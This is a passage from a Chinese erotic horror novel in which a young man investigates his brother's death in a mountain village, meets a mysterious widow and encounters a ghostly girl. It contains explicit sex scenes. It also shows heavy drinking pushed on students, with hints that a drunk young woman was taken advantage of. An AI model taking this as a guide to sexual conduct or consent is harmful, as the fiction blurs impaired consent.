      “你认识我哥哥吗!?”老实说比起妇人的美貌和华贵的言谈,终于在这
    听到了和哥哥有关的信息,这让我也无法淡定下去了。

      “是啊……一年前他来到这 ,我们有过几麵之缘。只可惜天妒英才……哎
    ……”妇人说着轻歎了一口气,而从她的语气中,似乎对故去的哥哥评价不凡。

      “哎……”如果妇人不提故去的哥哥,估计我不至于像陈凯和王思思那样在
    妇人的美丽麵前不知所措。但如今妇人一语中的地攻入了我的软肋,再度勾起了
    我对哥哥的思念,让我不由得也长歎了一声,然后便低头不语了。

      “影女士,要不要坐在这 ?”眼看影凤凰没有坐在自己身边,张书记的脸
    上流露出一些不悦,但说话的语气即不和蔼也不冷淡,相反则带有一丝丝的畏惧。

      “不用了,我倒是愿意坐在年轻人的身边,免得我这个老太太和这个世界疏
    离太多。”依然是温婉的语气,但影凤凰的字 行间,却透着对张书记根本不买
    账的态度。

      眼见影凤凰不愿坐在自己身边,似乎还是垂涎其美色的张书记只好自讨没趣
    地坐下。然后,为了让张书记不至于冷场,徐强便坐到了张书记的左手边。

      这顿饭,感觉上应该算是当地最高级别的水平了。各种菜肴做的颇为精致,
    其中还有一些大城市吃不到的天然食材。这让陈凯和王思思都吃的开心不已,而
    我,因为想起了故去的哥哥而没什么胃口,倒是好奇于这个穷乡僻壤,怎么会有
    能够做这种菜肴的厨子。

      俗话说无酒不成席,没吃两口,徐强就招呼着将两瓶酒摆上了餐桌,告诉我
    们这酒是当地特色,是一种由多种天然药材凝聚而成的药酒。

      张书记依然慈祥和蔼,徐强也依然殷勤热情,这让王思思和陈凯这两个从没
    有社会经验的大学生一边受宠若惊,一边却越喝越多。至于我,刚开始试图推脱,
    但在徐强不厌其烦地劝酒下也喝了几杯,虽然没有王思思和陈凯喝得多,但逐渐
    也感到了酒精的作用。

      不同于餐桌上喧闹热烈的气氛,一旁的影凤凰依然平静温婉,酒只是在张书
    记劝的时候小酌几口,桌上的菜肴也只吃了几口清淡的。

      或许是就近的缘故,影凤凰偶尔的开口对象都是我,而在和她的交流中,我
    得知了这个影乡和她们家族那足有几百年的渊源。

      影凤凰告诉我,这个影乡的『影』,和她们家族所姓的『影』是一脉同宗。
    早在几百年前,影家的祖先便在这 建起了这个村子,并世世代代扎根于此,慢
    慢繁衍生息。时至今日,影凤凰便是影家的家主,因为丈夫早逝,如今的影家,
    除了一些下人之外,只有影凤凰和两个女儿居住而已。

      那栋位于村口,上午坐张书记的车时看到的豪华别墅,便是影凤凰和女儿们
    居住的地方。那个位置据说也是影乡最好的风水宝地,不仅保佑着影家世代昌隆,
    也守护着这片贫瘠的土地。

      在饭局中,我大概能看出张书记、影凤凰和徐强之间的关係。

      虽然身为这 名义上的一把手,张书记有着诸如徐强这样的死忠追随者,但
    他却似乎对影凤凰颇为畏惧。无论是将其奉为贵客般,亲自前去迎接,还是在饭
    局上有意无意都在奉承着影凤凰,张书记这村支书的身份都显得略微尴尬。

      相反,影凤凰虽然对张书记始终以礼相待,但谈吐之间似乎压根没把这个村
    支书当回事,这也让我不禁猜测,张书记是不是一直在垂涎这个中年丧偶的美妇,
    因此才在对方麵前客客气气的。

      “你和你的哥哥好像。”聊着聊着,影凤凰再度提及了过世的兄长。

      “不……您有所不知,哥哥比我要优秀百倍。”或许是因为对方不断提交哥
    哥,这让我的内心防线开始鬆动,不知不觉间对影凤凰产生了亲近感。

      “但是,你们兄弟俩的眼神都很像,让人感觉到的确是年轻有为呢。”出人
    意料的,影凤凰一边说着,一边破天荒地向我举杯。

      “谢谢……虽然我还是自认比不上哥哥,但还是谢谢您的夸奖了……”和影
    凤凰碰了碰杯,出于对她的亲近和对哥哥的追思,我将杯中酒一饮而光。

      不知不觉,这顿饭已经吃到了晚上九点,窗外的农家大多熄了灯,在夜幕降
    临之后,农民们想必大多都已经入睡了。

      酒桌上,张书记显然海量,除了脸有点微红以外,依然气定神閑。徐强似乎
    喝的有点多,脸上的笑容更加谄媚,嘴 的话也越来越多,但又似乎依然清醒,
    话 的内容依然是一味地奉承,总让人感觉还是滴水不漏似的。

      比起张书记和徐强的老练,这边的陈凯和王思思显然就不那么清醒了。

      在徐强的殷勤下,因为学业和长相都太过普通,所以一辈子都没被如此称讚
    过的陈凯,自然和对方频频碰杯,大有相遇恨晚的感觉。

      至于王思思,一顿饭至少听了不下十次,关于自己长相甜美的称讚,甚至从
    张书记的口中听到过,自己能让这山间野地蓬荜生辉的讚美,这让不谙世事的少
    女也完全放下了防备,一边经常问着一些没大脑的问题,一边越喝越多。

      不同于陈凯和王思思的失态,从小家境贫寒,所以没能力去喝酒的我,虽然
    生平第一次喝了这么多,但我好歹还能把控住自己,头晕目眩的效果只是让我愈
    加沈默。好在除了影凤凰偶尔和我对话,张书记和徐强对我并不在意,我也就乐
    得清閑,能少说话就少说了。

      “时候不早,我想我该回去了。”率先提出去意的是影凤凰,只见妇人优美
    地站起来,也不管张书记是否同意,便优雅地走向门口。而在她离去的瞬间,我
    似乎看到美妇偷偷转过头,对我露出了一记悠然的微笑……

      “徐强,招呼好三个大学生。”眼见影凤凰突然离去,张书记赶忙站起身来,
    也追出了餐厅。

      “徐哥,时候不早了,我想我们也该回去了。”既然做东的张书记和这顿饭
    局真正的贵宾影凤凰都已经离去,我也知趣地站起来了。

      之后,我扶着陈凯,徐强扶着王思思,一行四人从村政府走回了宿舍。只不
    过虽然路途不长,但陈凯一出村政府便趴在一旁的草地上呕吐不止,一边的王思
    思也想吐,但为了女孩子的麵子,还是在全力忍耐着。

      走回109房间后,我先将已经神誌不清的陈凯放在了他的床上。然后又走
    出房门,从徐强手中接过了王思思。

      “徐哥,你也早点回去休息吧。”不知为何,虽然对王思思毫无好感,但让
    徐强将神誌不清的王思思送回房间,还是令我有些担心。

      “好好,你们好好睡……”没有任何异议,徐强把王思思交给我搀扶。但在
    他离去之前,一丝不同于平日殷勤的,有些古怪的微笑,划过了他的嘴角。

      看着徐强离去,我便将王思思搀扶进了110的房间。

      如果我猜测的一样,110房间的木桌上,摆放了各种各样的零食。但现在
    的我暂时顾不上这些,在将王思思放在床上后,又準备为她盖上被子。

      “晨……晨哥……我好想吐……”就在我即将离去之时,王思思虚弱的声音
    从我背后传来,想必她平躺了身体之后,肚子 的东西开始不听话了吧。

      “哦,我帮你。”因为这 的宿舍压根没有单间厕所,我只能返回到王思思
    的床边,试图将她搀扶到走廊 的公用厕所。

      但是,就在我的右手刚碰到王思思的头,刚想用力把她扶起来的瞬间,王思
    思原本绵软无力的双臂突然绕过了我的后背,用力一搂,我整个人在猝不及防下
    便压到了她的身上。然后,一张混杂着少女芬芳和酒精气息的嘴唇突然吻上了我
    的唇,一跳香滑腻味的小舌突然冲进了我的嘴巴。

      “喂!!”一秒锺之后,反应过来的我奋力挣脱了王思思的怀抱。但当我在
    灯光下看清了此时王思思的状态之时,比起对偷吻的震惊,我对她此时的状态更
    加震惊。

      只见此时的王思思满脸通红,不知是否因为酒精的作用,她的呼吸十分急促,
    胸口不住起伏着,双眼半开半闭,一双腿则拼命加紧,同时在来回磨蹭着。

      “晨哥……我需要你……”看到我错愕的表情,王思思倒是依旧执着,伸出
    一只手抓住了我的手,不让我离去。

      “今晚你只是喝多了……”想到王思思当年在学校的风评,我倒是不惊讶于
    她此时在酒精下的举动。但一方麵想到陈凯的期待,另一方麵还能思考到一旦和
    她发生了什么,难保今后在这 的三年会有些麻烦,我还是试图甩脱她的手。

      “不……我清楚自己在做什么,在这 要待三年,我更知道你的重要……”
    没想到被我甩脱了手,王思思干脆奋力坐起上身,张开双臂抱住了我的跨部,青
    春的脸庞甚至贴到了我的裤裆部。

      “冷静一点!!!”不知为何,对王思思的热烈,我没有任何心动,相反更
    多的是一种畏惧。于是我再度甩脱了她,并迅速跑到了房间的门口。

      “晨哥……你混蛋!!!”这次,王思思终于不再癡狂,而是一边咆哮,一
    边用被子蒙住了自己的脸。

      “看来你应该没有喝到要吐的地步……”被王思思这么一折腾,我也开始感
    受到了酒精上头的眩晕感。我没有精力再说什么,干脆夺门而出。

      回到109房间,陈凯依然睡得像头死猪。而我则在锁上门之后也倒在了自
    己的床铺上,因为头愈加疼痛,便干脆什么也不去想,很快便进入了梦乡。

      梦中,哥哥仿佛就站在我的麵前,他在对我微笑。

      我想跑过去抓住他,但他突然变成了张书记,用那张冷淡之后令人胆寒的脸
    孔注视着我。

      我吓了一跳,后退了两步,张书记又变成了影凤凰的模样。

      她伸出芊芊玉指,对我做着召唤的手势,似乎要引诱我走到她的身边。

      我缓步走了过去,影凤凰突然张开双臂紧搂住我,而我低下头,靠在我胸膛
    上的却是王思思。

      我再度后退了两步,这一次出现在我麵前的却变成了那个被迷一样的少女。

      “你是什么人?”麵前的角色在不停地变化,我紧张地问道。

      “……”少女低着头,满头长发盖住她的脸,没有回答我的话。

      “你……你到底是谁?”想到了那个所谓的女鬼传说,我紧张地向前走了两
    步,试图拍拍这个一动不动的少女。

      突然,少女 起头,那张雪白的脸孔正麵对我,然后,献血从她的眼睛、鼻
    孔和嘴角缓缓流出……

      “啊啊啊啊啊!!!!”一声惨叫过后,我从睡梦中惊醒,自己的身上布满
    了睡梦中流出的汗水,低头看看表,时间指向淩晨四点。

      转头看看一旁的床铺,陈凯却不见蹤影。因为我还处在梦醒时分的状态,联
    想到刚刚的噩梦,再加上陈凯消失不见,令我不由得真的紧张了起来。

      『如果这也是梦该多好……』这下子,我完全清醒了。

      忽然,一阵即使隔着墙也能听得清清楚楚的,由王思思发出的叫声,从11
    0房间的方向不断传来。只不过,乍一听这似乎是王思思在尖叫,但仔细一听,
    这种叫声更好似是在叫床。

      聚精会神地听了一会儿,在我确认是王思思在和什么人做爱之时,我倒多少
    放下了心理负担。

      既然陈凯不在这 ,加上他白天对我说过的,要追求王思思的计划,想必这
    小子现在借着酒精,正在王思思的房间 挥汗如雨吧。

      『真是夸张……也不看看自己身在何方啊……』对于两人在淩晨四点,身在
    异地他乡的宿舍还能做这种事情,我一方麵多少有些无法认同。但另一方麵,想
    到王思思之前对我的热烈,如果陈凯能真的赢得她的芳心,从而让她忘记和我的
    不愉快,这多少也是件不错的事情。

      想到此,我干脆释然,再度躺回床铺,蒙上被子并再度入睡。

                 第二章  鬼影迷境

      第二天直到中午,我才悠悠睡醒。昨夜喝多了酒的副作用,让我的头始终还
    有些隐隐作痛。

      “晨哥,想不到你也有睡到这会儿的时候。”随着房门被打开,穿戴整齐的
    陈凯走了进来。从他的衣着和神态来看,今天他应该比我起得早了许多。

      “已经十一点半了啊……”低头看看表,然后我便从床上坐了起来,然后问
    陈凯,“今天张书记那边有什么指示吗?”

      “哦,早上我见到徐哥了。他说暂时还没定我们的工作,所以今天还是让我
    们休息,顺便熟悉一下这边的环境。”陈凯回答道。

      “王思思呢?”看着陈凯气定神閑的样子,回忆起夜 在110房间 那疯
    狂的叫床声,我不禁问起了昨晚同样喝了很多的王思思。

      “思思啊,她也刚起,现在应该在洗澡吧。”陈凯说完坐到了自己那已经整
    整齐齐的床铺上,从他对王思思在称呼上的改口,我更加确定了昨夜两人之间应
    该是有了实质性的突破。

      “陈凯……昨晚……你去哪了?”虽然在陌生的地点做男女之事多少有些有
    伤风化,但想到陈凯和王思思好歹也是自由恋爱,我就含沙射影地问了出来。

      “嗬嗬,晨哥你睡蒙了?昨晚咱们不是和张书记一起喝酒了吗?”被我问到
    重点,陈凯立刻挠着头发,一脸窘态,并用不太高明的说辞来搪塞我。

      “别装模作样了,你知道我问的是淩晨。”一边叠被子,我一边继续追问着。

      “嘿嘿……我……没事……晨哥是多心了!晨哥你先洗个澡吧,我有点饿了,
    先去吃饭了啊!!”在我的一再追问下,陈凯这下子干脆闹了个满脸通红,于是
    他顾左右而言他,最后索性没等我的回应就跑了出去。

      『看来还是昨晚喝多了吧,至少清醒状态下还不至于那么疯狂……』看着陈
    凯迅速离去,我只能苦笑,然后拿出了準备好的洗浴用品,準备去洗澡。

      没走两步,忽听『哐啷』一声,我低头一看,那颗昨晚放在兜 的玉石掉了
    出来。

      我捡起玉石,惊讶地发现原本浅绿色的玉石,如今却是通体墨绿。

      『还真没听说过玉石可以一夜间变色的,没準倒是个宝贝吧……』想到这颗
    玉石有可能价值连城,我可不敢再将它草率地放在兜 ,而是塞进了自己的背包。

      宿舍的浴室,位于每个楼层的另一个顶端。一路走过去,我开始注意到,似
    乎在这座宿舍楼 ,除了我和王思思、陈凯以外,没有任何其他人住宿。

      当我拉开浴室的门,刚刚洗完的王思思刚巧走了出来。

      “啊……”和我走了个撞麵,王思思轻呼了一声,脸上却流露出有些紧张的
    神色,明亮的双眼和我四目相对了一瞬,然后又迅速慌张地低下了头。

      我没有说什么,而是让开门口,然后,王思思便低着头和我擦肩而过。

      『她还记得昨晚发生的事情吗?见到我之后会不自然是肯定的,不过纵然不
    是怒目而视,却也不应该露出这种有些哀怨的眼神吧……好像自己被什么人欺负
    了一样。难道是清醒之后后悔和陈凯发生了关係?陈凯刚才也不愿谈到这个话题,
    好像还真有可能,毕竟娇小姐们都无法忍受陈凯这样的类型吧……』

      有一搭无一搭地想着王思思和陈凯,我在烧完水后脱掉了身上的衣服,同时
    看到了自己手腕上的一道淤青。

      『这是昨晚王思思抓的?她能有这么大的力气?昨晚难道因为喝多了?当时
    我的确没感觉到疼痛啊……』低头看了看自己的胯部,也就是昨晚同样被王思思
    抓过的地方,居然也有两道淤青,我不禁诧异。

      洗澡的过程中,我想起了昨晚的饭局,而令我无法释怀的,自然是那个优雅
    但神秘的女人,以及她口中的,关于自己哥哥的信息。

      『从昨晚看来,这个影凤凰应该在这 有很大的威信,以至于连张书记都要
    敬让三分。那个徐强似乎很不愿意让我接近那间烧毁的小屋,这其中是不是有什
    么隐情?那么……既然影凤凰昨晚称讚了哥哥,她可能会给我带来些帮助。她说
    她和哥哥见过几次,那么,一定会知道一些我所不知道的内情吧。』

      一想到影凤凰或许不像徐强和张书记那样疏离我,再加上对一切有关于哥哥
    的消息的强烈好奇,我打定了主意,既然今天也是无事可做,干脆就去影凤凰的
    家,看看能有什么收获。

      事实上,当时的我也知道,就算知道再多关于哥哥生前的事情,对我自己的
    现实生活也没有任何意义。唯一支撑我去做这些的目的,为的还是内心深处,因
    为没有能够回报哥哥,而产生的感情上的愧疚吧。

      打定了主意后,我迅速洗完澡,穿好衣服,顾不上去食堂吃午饭,快步走出
    宿舍楼。

      按照昨天白天的记忆,加上这个山沟 就一条土路,我很快便远远看到了那
    幢修在半山腰上的豪华别墅。

      一路之上,我心潮澎湃。自从哥哥去世后,这一年来,我做什么事都摆脱不
    了他的阴影,内心中经常被亏欠感所充斥。但直到现在,马上要打听到关于哥哥
    的更多消息的期待,如同海市蜃楼一般,令我如同飞蛾扑火一般,忘记了自己的
    身份,忘记了自己身处的地方,实际上是乱了方寸。

      毫不夸张的说,这座别墅看起来比大城市 的任何别墅都毫不逊色。大理石
    的柱子树立在门口,通体装饰着大量又大块的玉石,别墅周围还有自家的庭院。
    从底下向上望去,别墅有四层,占地麵积至少三百平以上,加上庭院则至少占地
    千平。

      『搞不好这栋别墅比整个村子都值钱啊……』因为有些紧张,我迅速整理了
    一下自己的穿着,然后按下了庭院大门的门铃。

      “您是哪位?”没有人从别墅中走出来,声音的来源是发自门口的门禁装置。

      “我……我叫聂晨,来找影凤凰女士。”我强作镇定。

      “您等我通报一声。”看样子门禁装置内的声音是一个女佣。

      不一会儿,大门终于打开,同时别墅的大门也被推开,昨晚我见到的影凤凰
    出现在了门口。

      今天,美妇的头发垂顺下来,身上换了一身淡蓝色的旗袍,旗袍上依旧绣着
    一只凤凰。

      如果说,昨晚的美妇,在众人麵前,保持着自己优雅端庄的模样。那么今天,
    当她看到我之后,一抹春天般的微笑突然浮现在她的嘴角,让我这个毛头小子突
    然一阵错觉,好像真的见到了女神一般通体舒坦。

      “欢迎光临寒舍,请进吧……”在我走过去之后,影凤凰更是收起了所有的
    姿态,完全一副邻家阿姨的样子,将我迎了进去。

      走进别墅,内部的装饰自然也是豪华至极,各种中式硬木家具,令我这个从
    大城市 来的人仿佛有种错觉,感觉自己才是乡下来的土老帽。

      坐在会客室的沙发上,一个女佣很快端上了茶水。我注意到,这 的女佣虽
    然不多,但都穿着统一的製服,年龄也都在二十到三十岁之间,即便是身上的製
    服,别说别影乡中的村民,就是比张书记和徐强的穿着都要高端上档次。

      “今天刚巧两个女儿都不在,否则我就让她们出来迎接贵客了。”影凤凰此
    时就坐在我的对麵,旗袍外两条大白腿翘着二郎腿,肉色的丝袜若隐若现,但掩
    盖不住白嫩的肌肤所流露出的诱惑。

      “您……您别客气,我可不是什么贵客……”即便不像王思思和陈凯那样娇
    生惯养,但麵对着这样一个人间尤物,我还是很不自然地端起茶杯,用喝茶来掩
    盖自己难以克製的紧张。

      “其实,你今天来,是为了你哥哥的事情吗?”不知是有意还是无意,影凤
    凰似乎没有察觉到我的紧张,一双勾魂的丹凤眼依然紧盯着我,然后一语道破天
    机。

      “是……实不相瞒,哥哥去世后我一直很自责,虽然我知道打听他生前的经
    曆也没什么实际意义,但我还是想多知道一点……”

      “恩,血浓于水,你想多知道一点也是人之常情……不过看这个样子,你们
    兄弟俩应该感情甚好吧?”

      “没错,我和哥哥是孤儿,从小就是哥哥含辛茹苦地把我抚养长大……原本
    我以为自己工作之后终于可以回报他,却没想到不再有这样的机会了……”再度
    勾起心中对哥哥的亏欠,我感觉自己的紧张逐渐消散,至少不再像刚进门那样不
    知所措了。

      “好,虽然我和他也没有太多交集,但我一定知无不言。”端起茶杯喝了口
    茶,影凤凰故意停顿了一下,然后再度开口。

      “一年前,中科院发现我们这 有一种天然药材,据说可以提炼出强化抗癌
    细胞的特效药。于是,包括你哥哥在内的三名科研工作者便千 迢迢地来到了这
    。”

      “当时,张书记和我也像昨晚迎接你一样迎接了他。那是我们第一次碰麵,
    你哥哥给我的感觉,为人很低调,但眼神中却透露着智慧。”

      “后来,你哥哥他们便开始在山 进行实地考察,最终确信药材主要生长在
    山沟的深处。于是在张书记的协助下,村 为三个科研人员建立了简单的研究室。


      听到这 ,我立刻想到了那间被烧毁的小屋,想必就是当时村 为哥哥建立
    的研究室了。

      “当时,村 的人都很盼着你哥哥他们的研究能成功,因为这就意味着这片
    百无一处的土地上有了可以致富的路。加上三位科研人员都为人谦逊,大家都对
    他们鼎力相助。”

      “在你哥哥去世的一周前,据说他们的研究基本宣告成功了。于是那天张书
    记再度摆了酒席,我也第二次见到了你的哥哥,他当时显然也很兴奋。”

      听到这 ,我想起了哥哥在前往影乡后给我发的第二条短信。

      『我的科研工作取得了重大进展,只剩下几个细节没有搞清楚,如果顺利的
    话,两周左右我就回去了。』

      “原本,我们以为三位科研人员再工作个一两周就会离去,但听他们说,好
    像在研究中发现了一些其他的细节,便决定再逗留一段时间。哎……现在想来,
    假如你哥哥没有再逗留下去就好了。”

      只见影凤凰再度停顿,脸上原本轻鬆的表情突然凝重起来,眉头紧皱,双眼
    直勾勾地凝视着我。

      “你相信这个世界上有鬼吗?”

      当我听影凤凰突然提起了鬼,我几乎不敢相信自己的耳朵。不错,就在两天
    以前,我还是个地地道道的无神论者。但昨天亲眼见过了所谓的女鬼,加上徐强
    亲口说出这 有女鬼的事实,再加上影凤凰这样令人信赖的人也这么说,让我的
    心猛然抽了一下。

      “嗬嗬,你肯定不信,我这个问题问的不好……不过,我们这个地方,却一
    直被女鬼所诅咒,我们影家,也世世代代镇压着这只女鬼,守护着这片土地。”

      见我目瞪口呆,影凤凰只是淡淡一笑,便接着说道。

      “有一天,你哥哥也像你一样,突然来我府上拜访。他说他在山沟的尽头看
    到了一个鬼魅般的少女,而且直到他来找我,这已经不是第一次遇见了。当时我
    就警觉起来,先是派了家族 通灵的人去做法驱邪,然后警告了你哥哥,让他们
    三个一定要远离那 。”

      “哎……我想你哥哥当时对我也是将信将疑,最重要的是,他们的研究正在
    最关键的时刻,所以三位科研者一致决定再坚持一段时间。”

      “后来有一天,村 突然传来一阵巨响,而巨响的来源便是你哥哥他们所在
    的科研室。当我们跑过去之时,那个科研室已经成为了一片废墟。再后来,我们
    挖开了爆炸废墟,发现了你哥哥和另外两位科学家的遗体……”

      说到这 ,影凤凰终于不再继续下去了,因为坐在她对麵的我已经双眼通红,
    泪水在眼眶 不住地打转。

      “也就是说,哥哥是被那个女鬼害死的?”虽然无法确定,但当时的我已经
    被负麵情绪完全充斥,在我的内心深处,纵然那个少女不是女鬼,显然哥哥的死
    不是天灾而是人祸了。

      “对不起,这的确是个悲伤的故事……或许我不该把这些告诉你……女鬼的
    事情你也不要再想了……”忽然,影凤凰离开了座位,坐到了我的身边,一股成
    熟女人特有的芬芳迅速传入了我的鼻腔,她身体的温度也随着两人身体接触而传
    递过来。

      “影女士?”

      “你和你哥哥都是无父无母的孩子,我没有恶意,只是……我对你的遭遇感
    到由衷地难过。或许,你可以把我当成自己的母亲?”

      没有任何的恶意,没有任何的低俗,影凤凰当时的声音充满了令人无法抗拒
    的磁性,更充满了母性的光辉。当她伸出手臂搂住我的肩头,我再也控製不住内
    心的情绪,一头扎在她的肩头,眼泪不争气地奔涌而出。

      从小无父无母,没有享受过别的孩子才有的快乐童年,唯一的亲人就是相依
    为命的哥哥,好不容易能够独立起来,哥哥却也离我而去。我的一生中都缺乏被
    别人关爱,哥哥走后的这一年,这种感觉尤其明显。虽然我在外人麵前强悍而坚
    定,但我深知自己真的欠缺被别人去爱。

      不管是真是假,影凤凰是真心同情我,还是只出于礼貌,此刻的我都不愿去
    分辨,只想感受着美妇柔软的肩头,感受这温暖的怀抱。

      良久,我才停止了抽泣,从影凤凰温柔的怀抱中站了起来。

      “谢谢你,真的谢谢你……我想我现在有必须要去做的事情。您的恩情,我
    今生一定会报答的。”对着影凤凰慈母般的微笑,我真情流露。

      “做事不要太勉强自己,有什么需要的,可以随时来找我。”眼见我要走,
    影凤凰倒也毫不阻拦,而是继续对我报以最温柔的微笑。

      别过影凤凰,我便走出了豪华的别墅,而我的目的地只有一个,那就是再去
    那片被烧毁的废墟,找那个所谓的女鬼一探究竟。

      在我即将走出庭院大门之时,一个大约十五六岁的,穿着一身粉色花裙,脚
    踩着一双黑亮小皮鞋的少女和我撞了个照麵。

      只是惊鸿一瞥,少女那美人坯子的潜质就让我不得不为之侧目。

      少女的双眼极为明亮,真是好比星空中的皓月一般毫无杂质。或许是岁数的
    原因,她的鼻头娇小,嘴唇也小巧可爱。圆嘟嘟的小脸上,肤如凝脂般柔滑。一
    头可爱的小马尾扎在脑后,整个人的身高看起来大概和影凤凰相当。

      从穿着和能够随意进出庭院大门来看,少女显然是这 的重要人物,不过当
    时急火攻心的我可没时间搭理她。

      “诶!你怎么见了我也不打声招呼!?”没想到少女主动叫住我。

      “对不起,我现在有急事……”刚和少女擦肩而过的我,赶忙回头向她表示
    了歉意。

      “什么嘛……怎么新来的姐夫这么粗鲁……”眼看我越走越远,少女竟然娇
    嗔起来。

      虽然我实在没心思顾上这个少女了,但我至少猜得到,想必这个少女,应当
    是影凤凰的两个女儿之一了吧。

      没走两步,山沟之间的一线天上突然乌云密布,一场突如其来的大雨说下就
    下了起来。

      小时候在地理课本上,有写着山区往往多雨,所以我也对这场大雨并不意外。
    只是急于再去探索一下那间被烧毁的房屋,我都顾不上到宿舍或村政府去借把伞,
    就这样即便被浑身浇透,也在拼命向山沟深处走去。

      终于来到了那片废墟,再度穿过碍事的隔离线,但我却没有再见到那个被称
    为女鬼的少女。

      抱着极度的不甘心,我开始在小屋中的废墟堆 找来找去,妄图能从中找出
    一些关于哥哥或女鬼的线索,但二十平米大小的房间,虽然很快就被我翻了个底
    朝天,却除了灰烬和从天花板的窟窿上掉进来的雨水以外什么也没有。

      『哥哥的死果然有蹊跷!!到底是不是那个女鬼害死了我哥哥!!如果是的
    话,即便粉身碎骨,我也要将她碎尸万段!!可是……可是这 什么也没有…
    …老天爷!!难道你在和我开玩笑吗!!!』越找越着急,越着急越找,我的心
    情愈加焦躁甚至狂躁,在连续寻找无果后,我冲出了小屋,对着满天大雨怒吼着。

      “女鬼!!有种你就给我出来!!!啊啊啊啊啊啊!!!!!!!”

      但是,无论我多么大声地吼叫,这片区域 依然只有我一个人的身影。加上
    空气中不断电闪雷鸣,我的吼声也不断被淹没在其中。

      忽然,我不经意地向小屋后麵望了一眼,只见原本应该因为三麵环山而没有
    去路的山沟尽头,有一条很难被察觉的小径,一点一点地通向山的后麵。

      『怪不得昨天那个女鬼突然就消失了,我还以为她真的形同鬼魅!!原来这
    还有一条退路啊!!!』

      发现了这条小径之后,我焦躁的心情终于稍微缓解了一点。一方麵,这条小
    径就好似柳暗花明一般,为我无处宣泄的怒火找到了出口。另一方麵,本就是无
    神论者,总还是不太相信这个世界上真有女鬼的我,反而认定了哥哥的死是『人
    为』而非『闹鬼』。

      可当我开始走上小径之后,我便走上了一条足以令自己后悔的路。

      天上的瓢泼大雨逐渐停歇,但强烈的山风却越来越盛。衣着单薄的我,先是
    被冷得浑身哆嗦,然后又不断听到周围山坡上的树木被狂风吹得发出那种如同鬼
    魅般的沙哑风声。

      顺着小径绕过一座山,没想到小径的尽头又在另一座山的背麵。绕过了第二
    座山之后,小径的尽头又在第三座山的背麵。我仿佛走上了地狱的通路,没有尽
    头也没有人烟,有的只是呼啸的风和刺骨的温度。

      慢慢地,天色开始暗淡,但我却还未走到尽头。

      忽然,我意识到就在自己刚刚的冲动下,很可能为自己迈下了危险的种子。
    毕竟,在没有灯光的山区,尤其是下过雨的泥泞山道上行走,老实说是件十分危
    险的事情。

      『要不要回去……可恶,这条路既然有这么长,而且虽然不明显,但却是台
    阶分布,这显然是有人走动过的。但现在再往前,恐怕我今天还真会遇到风险
    ……妈的……我该怎么办……』

      就在我犹豫不定之时,忽然,从未有过心髒问题的我,心口猛地一阵巨大的
    绞痛,这让完全没有任何準备的我被疼地大叫起来。

      与此同时,我只感觉一团火从自己的小腹燃烧起来,虽然瞬间通体温暖,但
    很快的,一股巨大的灼烧感代替了那种温暖的感觉,让我变得更加痛苦,甚至连
    站立都无法做到了。

      更要命的是,我 头望天,刚刚暗淡下来的天空却似乎在泛着粉红色的光,
    真的好似天际异象一般。

      『这是什么感觉……难道真的有女鬼,在对我施妖法吗!!??』身体感受
    到真真切切的灼烧和心绞痛,再加上周围根本没有人烟,我开始变得恐惧起来。
    也就在这时,我的脚下突然一滑,心中大呼糟糕的同时,整个人迅速摔向了泥泞
    的山坡边……

      不知过了多久,随着肢体被摔伤的疼痛、心髒的剧痛、以及浑身上下比刚才
    更加难受的灼烧感一同发作,我再度惊醒,却发现自己身处一个伸手不见五指的
    地方。

      忽然,一束鬼火从我身边亮起,那个我昨天见到的女鬼少女就静静地站在我
    的身边。

      她的脸上依然没有血色,鬼火的映照下更加衬托得苍白恐怖。她的脸上也依
    旧毫无表情,仿佛在看一只垂死的羔羊一般低头俯视着躺在地上的我。

      我想挣扎,但身体却被灼烧到动一分一毫都会剧痛。我想叫喊,却发现无论
    我如何用力嘶吼,喉咙 却发不出半点声音。

      我开始愈发狂躁,更多的却是一种对死亡的恐惧,眼神 充满了不甘和畏惧。

      只见女鬼慢慢走近我,那束鬼火也漂移到了我的小腹上方。

      我努力向下探着脖子,试图看到女鬼,却突然发现自己浑身赤裸。令我惊讶
    的是,我的两腿之间,我的肉棒竟然高耸起来,完全违背了我身体的疼痛,甚至
    不随我的意誌控製。

      “想死还是想活?”女鬼突然开口,如果不是这鬼魅的气息,老实说她的声
    音其实带有着少女特有的柔嫩。

      “活……”虽然此时的我无法发出任何声音,但我却拼命用嘴巴做出『活』
    字的口型。

      只见那女鬼似乎犹豫了一下,然后竟然突然用她的小手握紧了我那硬邦邦的
    肉棒,开始缓慢地套弄起来。

      也正是在女鬼的手和我的肉棒接触的一刹那,我感受到了她手心 的温度。

      说也奇怪,随着女鬼的手不断套弄着我的肉棒,随着隐隐的快感从性器上逐
    渐散开,我身上的灼烧感和心口的绞痛都有少许的缓解。

      “聂……东……”

      下体被爱抚的同时,我仿佛听到了女鬼在叫哥哥的名字?当然,在当时那种
    错乱的情景下,我的听力是不会太準确的。

      虽然,肉棒被不住爱抚,让身上的难受感下降了一些,但灼烧感和心绞痛却
    没有被根除。即便女鬼的手越动越快,我的肉棒也毫无射精的迹象,身上的痛苦
    也似乎只是被压製,却并非被根除。

      女鬼似乎也意识到了这种做法无法根除我身上的痛苦,只见她忽然一条腿跨
    过我的腰部,双腿分立在我的下体上方。随着她的身体缓缓下落,长裙内空无一
    缕,但同样温热的肉体碰触到了我的肉棒,然后,肉棒被塞入了一道湿润的缝隙
    ……

      恐怕我做梦也没想到,自己竟然会在这迷幻的时空中,和这个可能害死过我
    哥哥的女鬼做爱。我也没想到女鬼的肉体竟然十分温暖,在她不断沈坐臀部的同
    时,我甚至能感受到滚烫的阴户中分泌出越来越多的淫水,我甚至能看到女鬼的
    脸上也露出了任何女人都会在做爱时流露出的受用。

      直到现在,我已经无法分辨自己身上的痛苦到底是不是因为女鬼的妖术了,
    我也搞不清楚为何性爱能够减缓我身上的痛苦。但我至少开始有些确信,这个女
    鬼至少现在是不想杀死我的,而且她也不是杀死我哥哥的凶手。或者,影凤凰口
    中的女鬼其实另有其人,这个我昨天见过的少女,其实是被我误会的普通女性。

      随着『女鬼』的腰部越来越快地上下起伏,我身上的痛楚已经消散到几乎没
    有的程度,而当我再度开口,终于能发出声音了。

      “你到底是谁……啊!!”因为身体已经不再痛楚,我干脆坐起身子,一边
    质问对方,一边用双手按住她的肩膀。但就在我按住她的一刹那,随着肉棒不再
    被起伏的阴道摩擦,那股钻心的绞痛又瞬间侵袭上我的心头。

      『女鬼』依然没有回答我,但见我疼得直叫,她却继续默默地开始摆动自己
    的臀部,让自己的阴道不住摩擦我的肉棒,为了让我能减轻痛苦。不知为何,看
